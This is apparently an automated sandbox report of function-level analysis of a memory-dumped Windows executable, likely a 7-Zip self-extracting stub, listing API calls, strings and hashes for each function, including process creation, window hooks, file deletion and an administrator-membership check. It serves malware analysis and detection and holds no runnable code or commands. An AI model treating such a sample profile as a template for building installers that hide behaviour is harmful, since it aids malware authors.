Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
Opcode Fuzzy Hash: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E

Function 0041229A Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00004B38), ref: 00412245

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction ID: 703a6ff84afb8074b9885b8fa9c0ccab1db7962bc4b9572073b4c9a6fb1bc3a6
Opcode Fuzzy Hash: ef87b2e52dde92dd11102c14b5a17c3afe989afc729bbcebbe3bdea788540431
Instruction Fuzzy Hash: 8DB09230285700BAEF224B00DE0DB4A76A0BB80B06F24C428B288240E087B86818DA0E

Non-executed Functions

Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
wsprintfW.USER32 ref: 004024DD
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
GetLastError.KERNEL32 ref: 004024F7
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
GetLastError.KERNEL32 ref: 0040252C
lstrcmpiW.KERNEL32(00A391C8,?), ref: 00402541
??3@YAXPAX@Z.MSVCRT(00A391C8), ref: 00402551
??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
SetLastError.KERNEL32(00000003), ref: 00402578
lstrlenA.KERNEL32(0041B328), ref: 004025AC
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
_wtol.MSVCRT ref: 0040260A
MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00A391C8,00000002), ref: 0040262A

Strings

7zSfxString%d, xrefs: 004024D7

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: 7zSfxString%d
API String ID: 2117570002-3906403175
Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D

Function 004092C1 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetDlgItem.USER32(?,000004B8), ref: 004092EE
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004092FD
GetDlgItem.USER32(?,000004B5), ref: 00409344
GetWindowLongW.USER32(00000000,000000F0), ref: 00409349
GetDlgItem.USER32(?,000004B5), ref: 00409359
SetWindowLongW.USER32(00000000), ref: 0040935C
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00409382
EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00409394
GetDlgItem.USER32(?,000004B4), ref: 0040939E
SetFocus.USER32(00000000), ref: 004093A1
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004093D0
CoCreateInstance.OLE32(0041C464,00000000,00000001,0041BD6C,?), ref: 004093F4
GetDlgItem.USER32(?,00000002), ref: 00409411
IsWindow.USER32(00000000), ref: 00409414
GetDlgItem.USER32(?,00000002), ref: 00409424
EnableWindow.USER32(00000000), ref: 00409427
GetDlgItem.USER32(?,000004B5), ref: 0040943B
ShowWindow.USER32(00000000), ref: 0040943E

Part of subcall function 0040819E: GetDlgItem.USER32(?,000004B6), ref: 004081AC

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
String ID:
API String ID: 1057135554-0
Opcode ID: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction ID: 5db8082ad3932120c1d3ad580c4d4a8d12b10d7a787853330903dc21ac74032f
Opcode Fuzzy Hash: ba3a8e7896f853d1d8996d9c4767784286a57f8b05f592c4c5be814e68872b41
Instruction Fuzzy Hash: E54184B0605708AFDA246F22DD49F6B7B9DFF44B04F00843EF955A62E1CB79A850CA1D

Function 004020BF Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 004020CA
FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 004020E7
FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 004020FB
SizeofResource.KERNEL32(00000000,00000000), ref: 0040210C
LoadResource.KERNEL32(00000000,00000000), ref: 00402116
LockResource.KERNEL32(00000000), ref: 00402121
LoadLibraryA.KERNEL32(kernel32,SetProcessPreferredUILanguages), ref: 0040214D
GetProcAddress.KERNEL32(00000000), ref: 00402156
wsprintfW.USER32 ref: 00402175
LoadLibraryA.KERNEL32(kernel32,SetThreadPreferredUILanguages), ref: 0040218A
GetProcAddress.KERNEL32(00000000), ref: 0040218D

Strings

kernel32, xrefs: 0040213D, 00402142, 00402189
SetProcessPreferredUILanguages, xrefs: 00402138
%04X%c%04X%c, xrefs: 0040216F
SetThreadPreferredUILanguages, xrefs: 00402184

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: Resource$Load$AddressFindLibraryProc$HandleLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages$kernel32
API String ID: 2639302590-365843014
Opcode ID: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction ID: 092f3855134823e072dda954e94301c8fdf66ebe7b0f0e4b82829ee13f00460f
Opcode Fuzzy Hash: 4509f4e0e8980c838efd414ca7c3a82435c9d4736e02e482c88f6a1a6bb26b48
Instruction Fuzzy Hash: 7C21B0B5941308BBDB119BA59C08F9B3ABCEB44711F108422FA04E72D0D6B8CD108BA9

Function 00409606 Relevance: 16.6, APIs: 11, Instructions: 96stringwindowCOMMON

Download Yara Rule

APIs

wvsprintfW.USER32(?,00000000,?), ref: 0040962A
GetLastError.KERNEL32 ref: 0040963B
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
lstrlenW.KERNEL32(?), ref: 0040968B
lstrlenW.KERNEL32(?), ref: 00409692
??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
API String ID: 829399097-0
Opcode ID: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction ID: 0f5aa2174aa9d056a6dafd0f9c7aa592ac4ad2a583e4ab7749965f253d727b0f
Opcode Fuzzy Hash: e19ea4daa404c5e85e295f528f45600472c05eaa69f6bcc88292a866bb27d639
Instruction Fuzzy Hash: F0216176800108FFDB159FA1DC85DEB7BACEF08354B10847BF946A6191EA359E84CBA4

Function 004031DC Relevance: 16.6, APIs: 11, Instructions: 90filestringCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,0041A68C,?,?,?,00000000), ref: 0040320B
lstrcmpW.KERNEL32(?,0041A688,?,0000005C,?,?,?,00000000), ref: 0040325E
lstrcmpW.KERNEL32(?,0041A680,?,?,00000000), ref: 00403274
SetFileAttributesW.KERNEL32(?,00000000,?,0000005C,?,?,?,00000000), ref: 0040328A
DeleteFileW.KERNEL32(?,?,?,00000000), ref: 00403291
FindNextFileW.KERNEL32(00000000,00000010,?,?,00000000), ref: 004032A3
FindClose.KERNEL32(00000000,?,?,00000000), ref: 004032B2
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000000), ref: 004032BD
RemoveDirectoryW.KERNEL32(?,?,?,00000000), ref: 004032C6
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032D1
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 004032DC

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: File$Find$??3@Attributeslstrcmp$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 1862581289-0
Opcode ID: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction ID: 78ea6f58b6c007c21ca8543ec41bf80dc5d167b0896979d67dadc0a8fcb0d376
Opcode Fuzzy Hash: d0a5d61d4e970fa2e12ee4e43d613ab26048e5a8235c629d0d05804913e14dc8
Instruction Fuzzy Hash: 86216131601208BADB11AF61EC59EFE3B7CAF44746F1444BAF405B21D1EB389B45CA69

Function 00408DBB Relevance: 7.5, APIs: 5, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00408DDA
SetWindowsHookExW.USER32(00000007,Function_00008D01,00000000,00000000), ref: 00408DE5
GetCurrentThreadId.KERNEL32 ref: 00408DF4
SetWindowsHookExW.USER32(00000002,Function_00008D8D,00000000,00000000), ref: 00408DFF
EndDialog.USER32(?,00000000), ref: 00408E25

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: CurrentHookThreadWindows$Dialog
String ID:
API String ID: 1967849563-0
Opcode ID: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction ID: b9e6956ff065cd05f2df324d2b5f6df6e8dcd0ec849c0deb45459710c318944d
Opcode Fuzzy Hash: 64107a2dc15b1d7316d888ad8cd960e682b3da45f1fa61c15e116e140322c59e
Instruction Fuzzy Hash: 51012671201218DFD2106F57ED44AB2F3ECEF54395B01843FE606D29A0CBB758008F69

Function 00402744 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,004066A7,?,?,?,?,004066A7), ref: 0040277D
CheckTokenMembership.ADVAPI32(00000000,004066A7,?,?,?,?,004066A7,00000000,?,?), ref: 0040278F
FreeSid.ADVAPI32(004066A7,?,?,?,004066A7,00000000,?,?), ref: 00402798

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction ID: 8fcaf4468ec200eb9195fd6454b881e9af9bec8ea6f7a7215fc0dea95779660d
Opcode Fuzzy Hash: 65cc84debf9a599d2aa76ae24c15b7a3b387b9e5edbe49ca06617e6efb59e37b
Instruction Fuzzy Hash: 44F03176945248FEDB01DFE88D85ADDBF7CAB18200F4480AAE105A3182D2705714CB29

Function 00405489 Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 213threadprocesssynchronizationCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,00000000,?), ref: 004054AA
??3@YAXPAX@Z.MSVCRT(?,00000000), ref: 0040556D
??3@YAXPAX@Z.MSVCRT(?,?,00000000), ref: 00405575
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000), ref: 0040557D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000), ref: 00405585
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000), ref: 0040558D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000), ref: 00405595
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000), ref: 0040559D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000), ref: 004055A5
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 004055AD
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055B5
GetStartupInfoW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004055CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000001,01000004,00000000,00000044,?), ref: 004055F5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004055FF
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000), ref: 0040560A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405612
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 00405627
AssignProcessToJobObject.KERNEL32(00000000,?), ref: 0040563E
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0040564E
SetInformationJobObject.KERNEL32(?,00000007,?,00000008), ref: 0040566F
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405678
GetQueuedCompletionStatus.KERNEL32(00000000,?,?,?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 00405697
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A0
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,00000000), ref: 004056A7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 004056B6
GetExitCodeProcess.KERNEL32(?,?), ref: 004056BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 004056CA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00000000), ref: 004056D6
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004056E8

Strings

sfxwaitall, xrefs: 004054D0
" -, xrefs: 004054D5

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$CloseHandleObject$CreateProcess$CompletionErrorLastResumeThread$AssignCodeCommandExitInfoInformationLinePortQueuedSingleStartupStatusWait
String ID: " -$sfxwaitall
API String ID: 2734624574-3991362806
Opcode ID: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction ID: 96b1f86dbfc8e56d759c45ddf3715b356338dee30da8fd38d33b0e85c5ab07db
Opcode Fuzzy Hash: c2e281962814c2bd4c040bf537fa2d9b9fa3379860e294df17422ee88ae54ba2
Instruction Fuzzy Hash: F66151B2801108BBDF11AFA2DC45DDF3B7DFF48314F004536F915A21A1EB3A99549B69

Function 00403B54 Relevance: 38.8, APIs: 20, Strings: 2, Instructions: 290comCOMMON

Download Yara Rule

APIs

_wtol.MSVCRT ref: 00403B78
SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000,0041EA00,00000000,0041E9F4), ref: 00403C1B
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403C8C
??3@YAXPAX@Z.MSVCRT(?,?,?), ref: 00403C94
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 00403C9C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?), ref: 00403CA4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?), ref: 00403CAC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00403CB4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403CBC
_wtol.MSVCRT ref: 00403D12
CoCreateInstance.OLE32(0041C454,00000000,00000001,0041C414,[@,.lnk,?,0000005C), ref: 00403DB3
??3@YAXPAX@Z.MSVCRT(?,0000005C), ref: 00403E4B
??3@YAXPAX@Z.MSVCRT(?,?,0000005C), ref: 00403E53
??3@YAXPAX@Z.MSVCRT(?,?,?,0000005C), ref: 00403E5B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0000005C), ref: 00403E63
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,0000005C), ref: 00403E6B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,0000005C), ref: 00403E73
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,0000005C), ref: 00403E7B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,0000005C), ref: 00403E81
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0000005C), ref: 00403E89

Strings

[@, xrefs: 00403B65, 00403D9F, 00403DC1, 00403E13, 00403E3F, 00403E06, 00403DF5, 00403DE4, 00403DD3, 00403B77, 00403C7C, 00403DA2, 00403DCA, 00403DDB, 00403DEC, 00403DFD, 00403E0F, 00403E21, 00403E44
.lnk, xrefs: 00403D92

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$_wtol$CreateFolderInstancePathSpecial
String ID: .lnk$[@
API String ID: 408529070-3575931549
